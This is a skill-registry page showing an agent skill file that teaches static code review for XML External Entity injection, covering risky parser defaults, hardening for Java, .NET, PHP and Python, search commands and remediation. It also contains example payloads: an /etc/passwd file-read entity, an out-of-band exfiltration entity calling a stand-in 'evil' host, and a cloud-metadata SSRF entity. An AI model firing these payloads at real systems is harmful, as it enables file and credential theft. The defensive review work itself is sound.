xxe
Skill2 starsChanged 4 months agoMITView on GitHub
SAST detection methodology for XML External Entity injection (CWE-611), covering classic file read, blind/OOB exfiltration via parameter entities and external DTDs, SSRF via entities, XInclude, billion-laughs DoS overlap, and SVG/DOCX/XLSX/SAML/SOAP vectors. Includes parser-specific insecure defaults and hardening for Java (SAXParser/DocumentBuilder/XMLInputFactory), .NET (XmlReader/ XmlDocument DtdProcessing), PHP libxml, and Python (lxml/defusedxml). Use when reviewing code that parses XML. Writes confirmed findings to findings/11-xxe.md.
7 other projects use a version of this.
Adopted by
Most recently taken up by
- mahumadad/quarrytheir own version, first seen Nov 8, 2026
- TaiMaBenJi/taima-skillstheir own version, first seen Oct 11, 2026
- cdxiaodong/cain-agenttheir own version, first seen Oct 8, 2026
- emre-guler/websectheir own version, first seen Aug 27, 2026
- conjure-3301/skillstheir own version, first seen Aug 17, 2026
- langbyyi/websec-skillstheir own version, first seen Jun 12, 2026
Used with
Projects with it also use ssti, xss and 5 more.
Other files people use alongside this one.
Files found in the same public projects as a version of this one, more often than they turn up anywhere else. Each project counts once, large collections count for less, and this file's own repository is left out.
SubhiSecSkillssti
Hunt Server-Side Template Injection (SSTI) in Jinja2, Twig, Freemarker, Velocity, Smarty, ERB, Handlebars, Mustache, and Spring (SpEL). Use when input is reflected in a way that suggests template rendering — error pages, email templates, PDF generators, dynamic content systems.
Also in 4 projects that use this
SubhiSecSkillxss
Hunt reflected, stored, and DOM-based Cross-Site Scripting (XSS) including CSP bypass, polyglot payloads, mutation XSS (mXSS), markdown XSS, and template XSS. Use when the user has identified a parameter or input that reflects to the page, or wants to test for XSS in a specific input.
Also in 4 projects that use this
langbyyiSkilldeserialization
Insecure deserialization playbook. Use when Java, PHP, or Python applications deserialize untrusted data via ObjectInputStream, unserialize, pickle, or similar mechanisms that may lead to RCE, file access, or privilege escalation.
Also in 3 projects that use this
langbyyiSkillpath-traversal
Path traversal and LFI playbook. Use when file paths, download endpoints, include operations, archive extraction, or wrapper behavior may expose filesystem control.
Also in 3 projects that use this
iAskShahramSkillfile-upload
Uploads a local file to Cloudflare R2 bucket `public` with wrangler and returns the public URL on assets.shahram.dev. Use when the user wants a public link, public URL, or to host/upload a local image or file to R2.
Also in 3 projects that use this
xfstudioSkillgraphql
GraphQL gives clients exactly the data they need - no more, no less. One endpoint, typed schema, introspection. But the flexibility that makes it powerful also makes it dangerous. Without proper controls, clients can craft queries that bring down your server. This skill covers schema design, resolvers, DataLoader for N+1 prevention, federation for microservices, and client integration with Apollo/urql. Key insight: GraphQL is a contract. The schema is the API documentation. Design it carefully.
Also in 3 projects that use this
- +1 more from SubhiSec
Other versions7 projects use a version of this.
Word for word · 0
None found.
Edited · 0
None found.
Wrote their own version · 7
- cdxiaodong/cain-agent★ 953same name
- sunilgentyala/OmniRed★ 5same name
- langbyyi/websec-skills★ 4same name
- emre-guler/websec★ 2same name
- mahumadad/quarry★ 1same name
- TaiMaBenJi/taima-skills★ 1same name
- conjure-3301/skills★ 0same name
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository49 other files it gives its agents.
- authentication-flawsSkill
- broken-access-control-idorSkill
- business-logic-flawsSkill
- cicd-and-pipeline-injectionSkill
- code-injectionSkill
- command-injectionSkill
- cors-misconfigurationSkill
- crlf-and-header-injectionSkill
- cross-site-scriptingSkill
- csrfSkill
- dependency-and-supply-chainSkill
- dom-clobbering-and-postmessageSkill
- graphql-injection-and-abuseSkill
- hardcoded-secretsSkill
- http-request-smugglingSkill
- iac-misconfigurationSkill
- information-disclosureSkill
- insecure-deserializationSkill
- insecure-randomnessSkill
- jwt-vulnerabilitiesSkill
- ldap-injectionSkill
- llm-and-ai-application-securitySkill
- mass-assignmentSkill
- memory-safetySkill
- mobile-android-securitySkill
- mobile-ios-securitySkill
- nosql-injectionSkill
- oauth-oidc-saml-flawsSkill
- open-redirectSkill
- path-traversal-and-file-inclusionSkill
- prototype-pollutionSkill
- race-conditions-and-toctouSkill
- redosSkill
- sast-final-reportSkill
- sast-finding-validationSkill
- sast-methodologySkill
- security-logging-and-monitoring-failuresSkill
- security-misconfiguration-and-headersSkill
- server-side-template-injectionSkill
- session-managementSkill
- smart-contract-securitySkill
- sql-injectionSkill
- ssrfSkill
- unrestricted-file-uploadSkill
- unsafe-parsers-and-yamlSkill
- weak-cryptographySkill
- web-cache-poisoning-and-deceptionSkill
- websocket-securitySkill
- xpath-and-xml-injectionSkill
The file
We split this skill into the rules it gives an agent
6 rules. 0 are common, 2 are distinctive, and 4 are very specific to this project.
0
Common
Most of the 6 edited versions we read keep these.
2
Distinctive
This author's own choices. Worth a look.
4
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 41
All HTTP inputs carrying XML (body, uploaded files, headers used as XML), webhook/SAML payloads, and imported documents.
- Very specific: line 99
PHP (libxml): do not pass LIBXML_NOENT; on older libxml call libxml_disable_entity_loader(true) before load (external entity loading is …
- Very specific: line 102
Python: use defusedxml wrappers, or lxml with XMLParser(resolve_entities=False, no_network=True, load_dtd=False).
- Distinctive: line 105
Prefer a hardened, less-powerful format (JSON) when XML features aren't needed.
- Very specific: line 118
Only setting FEATURE_SECURE_PROCESSING (caps expansion/DoS) but not disabling external entities — mitigates billion-laughs, not file …
- Very specific: line 146
Blind / OOB exfiltration: when nothing is reflected, use parameter entities plus an attacker-hosted external DTD to read a file and smuggle …
“Common” is measured: kept by at least 6 in 10 of the 6 edited versions of this file we could read. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
XML External Entity (XXE) — SAST Methodology
Class: XXE · CWE-611 · OWASP: A05 Security Misconfiguration
Findings file: findings/11-xxe.md
1. Overview
XXE occurs when an XML parser processes attacker-controlled XML with external
entity resolution and DTD processing enabled. A crafted <!DOCTYPE> with an
external entity makes the parser fetch a URI — reading local files, hitting
internal services (SSRF), or exfiltrating data out-of-band. The core test: does
untrusted XML reach a parser whose configuration still allows DOCTYPE/external
entities/external DTD loading? Because most XML parsers historically enabled
these by default, XXE is primarily a secure-configuration problem: the fix is
disabling DTDs and external entities on the specific parser instance.
2. Where it lives
- Any endpoint accepting XML: SOAP/WSDL services, REST APIs accepting
application/xml, XML-RPC, RSS/Atom ingesters. - File uploads that are secretly XML containers: SVG, DOCX/XLSX/PPTX (OOXML zip of XML), SVG-in-PDF, config imports, GPX/KML.
- SSO/identity: SAML assertions and metadata; WS-Security/SOAP headers.
- Sitemap/feed parsers, XSLT pipelines, and any
parse/load/readon an XML DOM/SAX/StAX API.
3. Sources (tainted input)
All HTTP inputs carrying XML (body, uploaded files, headers used as XML), webhook/SAML payloads, and imported documents. Second-order: an uploaded XML/ SVG/OOXML stored earlier and parsed later by a worker (thumbnailer, indexer, converter) — trace it to the upload. Filenames/paths inside archives can also select which XML gets parsed.
4. Sinks (dangerous operations)
// Java — dangerous DEFAULTS (external entities enabled unless disabled)
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.newDocumentBuilder().parse(userXml); // DTDs on → XXE
SAXParserFactory.newInstance().newSAXParser().parse(in, handler);
XMLInputFactory xif = XMLInputFactory.newFactory();
xif.createXMLStreamReader(in); // StAX, external entities on
TransformerFactory / Unmarshaller (JAXB) / SAXReader (dom4j/JDOM) // same risk// .NET — dangerous on older frameworks
var doc = new XmlDocument(); // <=4.5.1 DtdProcessing enabled
doc.Load(userXml);
var xr = XmlReader.Create(stream); // if DtdProcessing = Parse + resolver set// PHP — dangerous
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD); // LIBXML_NOENT expands entities!
simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);# Python — dangerous
from lxml import etree
etree.parse(userXml, etree.XMLParser(resolve_entities=True, no_network=False))
import xml.dom.minidom, xml.sax # stdlib parsers historically resolve entitiesExample malicious document (all sinks above):
<?xml version="1.0"?>
<!DOCTYPE r [ <!ENTITY x SYSTEM "file:///etc/passwd"> ]>
<r>&x;</r> <!-- classic file read -->Dangerous whenever DTD processing / external general or parameter entities / external DTD loading is enabled on a parser fed untrusted XML.
5. Sanitizers / safe patterns
Safe: disable DOCTYPE entirely on the parser instance that reads untrusted XML. Per stack:
- Java:
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)(best), plus disableexternal-general-entitiesandexternal-parameter-entities, setXMLConstants.FEATURE_SECURE_PROCESSING,setXIncludeAware(false),setExpandEntityReferences(false); StAXIS_SUPPORTING_EXTERNAL_ENTITIES=false,SUPPORT_DTD=false; setACCESS_EXTERNAL_DTD/ACCESS_EXTERNAL_SCHEMAto "". - .NET:
XmlReaderSettings { DtdProcessing = DtdProcessing.Prohibit, XmlResolver = null }; onXmlDocumentsetXmlResolver = null(default-safe since 4.5.2). - PHP (libxml): do not pass
LIBXML_NOENT; on older libxml calllibxml_disable_entity_loader(true)before load (external entity loading is disabled by default in libxml2 ≥ 2.9). - Python: use
defusedxmlwrappers, orlxmlwithXMLParser(resolve_entities=False, no_network=True, load_dtd=False).
Prefer a hardened, less-powerful format (JSON) when XML features aren't needed.
Fails / not a real sanitizer:
- Disabling entity expansion on one parser factory while another parse path is left default (the app has multiple XML entry points).
LIBXML_NOENTis a trap — its name suggests "no entities" but it enables substitution of entities. A frequent self-inflicted XXE.- Blocking
SYSTEMgeneral entities but leaving parameter entities and external DTD loading on — enables blind/OOB exfiltration and SSRF. - Filtering
<!DOCTYPE>with a regex/string check before parsing — bypassable via encoding, whitespace, and UTF-16 BOM tricks. - Relying on schema validation to "sanitize" — validation runs after entity resolution.
- Only setting
FEATURE_SECURE_PROCESSING(caps expansion/DoS) but not disabling external entities — mitigates billion-laughs, not file read/SSRF.
6. Detection methodology
- Find XML parser construction and parse calls.
rg -n 'DocumentBuilderFactory|SAXParserFactory|XMLInputFactory|SAXReader|Unmarshaller|TransformerFactory' rg -n 'XmlReader\.Create|new XmlDocument|XmlTextReader|DtdProcessing' rg -n 'loadXML|simplexml_load|DOMDocument|LIBXML_NOENT|libxml_disable_entity_loader' rg -n 'etree\.(parse|fromstring)|xml\.(dom|sax|etree)|minidom|resolve_entities|defusedxml' - Confirm untrusted input reaches the parse (body, upload, SVG/OOXML, SAML) — directly or second-order.
- Inspect the parser configuration on that instance: are DOCTYPE / external general entities / external parameter entities / external DTD / XInclude disabled? Absence of hardening on a parser fed untrusted XML = finding.
- Watch for the anti-patterns:
LIBXML_NOENT,resolve_entities=True,DtdProcessing.Parsewith a non-null resolver, missingdisallow-doctype-decl. - Classify the achievable variant: in-band file read (entity echoed back), blind/OOB (parameter entity + external DTD), SSRF (entity → internal URL), XInclude, or DoS (billion-laughs).
- Confirm reachability: exposed endpoint/worker, reachable (pre-auth?).
7. Modern & niche variants
- Classic file read: general external entity
SYSTEM "file:///..."echoed in a returned element — direct exfiltration when the parsed value is reflected. - Blind / OOB exfiltration: when nothing is reflected, use parameter
entities plus an attacker-hosted external DTD to read a file and smuggle
its contents into an outbound URL (
file→ param entity →SYSTEM "http://evil/?%data;"). Works even when the response body reveals nothing. This is why disabling only general entities is insufficient. - SSRF via entities:
SYSTEM "http://169.254.169.254/latest/meta-data/..."turns the XML parser into an SSRF client against cloud metadata and internal services — often the highest-impact XXE outcome (creds theft). - XInclude: even with DOCTYPE blocked,
<xi:include href="file:///..."/>(when XInclude-aware) pulls in external resources — disablesetXIncludeAware. - Billion-laughs / entity expansion DoS: nested internal entities expand
exponentially, exhausting memory — overlaps with
unsafe-parsers-and-yaml(CWE-776).FEATURE_SECURE_PROCESSING/ entity-expansion limits mitigate this specific vector without addressing file read. - Container-format vectors: SVG uploads (avatars, image processors),
DOCX/XLSX/PPTX (OOXML is zipped XML parsed server-side), PDF-with-XMP,
SAML assertions/metadata, and SOAP/WS-Security bodies are all XML that
reaches a parser — XXE frequently hides behind an "image upload" or "SSO login"
feature rather than an obvious
application/xmlendpoint. SAML XXE is especially severe (pre-auth, on the identity path).
8. Common false positives
- Parsers explicitly hardened (
disallow-doctype-decltrue, resolver null,defusedxml,DtdProcessing.Prohibit) on the untrusted path. - XML that is entirely server-generated/constant, never attacker-influenced.
- Libraries whose current defaults are safe AND no flag re-enables entities
(e.g. libxml2 ≥ 2.9 without
LIBXML_NOENT, .NET ≥ 4.5.2XmlDocument). - Non-XML "XML-looking" formats parsed by a data parser that does not process DTDs.
9. Severity & exploitability
Base High (arbitrary local file read of sensitive files). Critical when
it reaches cloud metadata/internal creds via SSRF, or is pre-auth on the SAML/SSO
path. Medium/Low when limited to DoS-only (billion-laughs) or when only blind
timing with no exfiltration channel is reachable. Raise for pre-auth reachable,
lower if strictly internal and authenticated. See references/severity-model.md.
10. Remediation
Disable DOCTYPE and external entity/DTD resolution on every parser that touches
untrusted XML — disallow-doctype-decl/FEATURE_SECURE_PROCESSING (Java),
DtdProcessing.Prohibit + null resolver (.NET), avoid LIBXML_NOENT (PHP),
defusedxml/resolve_entities=False (Python). Disable XInclude. Prefer JSON
where XML features are unnecessary. Apply consistently across all XML entry
points, including upload/SVG/OOXML/SAML paths.
11. Output
Append each confirmed finding to findings/11-xxe.md using
references/finding-template.md. Set Class: XXE and CWE: CWE-611. In Chain
potential note primitives such as arbitrary file read (→ leaked secrets/creds
for other chains), SSRF (→ cloud-metadata creds, provides the SSRF primitive
another finding may consume), OOB data exfiltration (blind read channel), and
DoS (billion-laughs). XXE frequently provides the SSRF/file-read primitive
that downstream chains consume.
Primitives (controlled): provides FILE_READ,OUTBOUND_REQUEST; consumes none
References
- CWE-611; CWE-776 (entity expansion, cross-listed); OWASP A05:2021 Security
Misconfiguration; OWASP XXE Prevention Cheat Sheet;
defusedxmldocumentation.
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

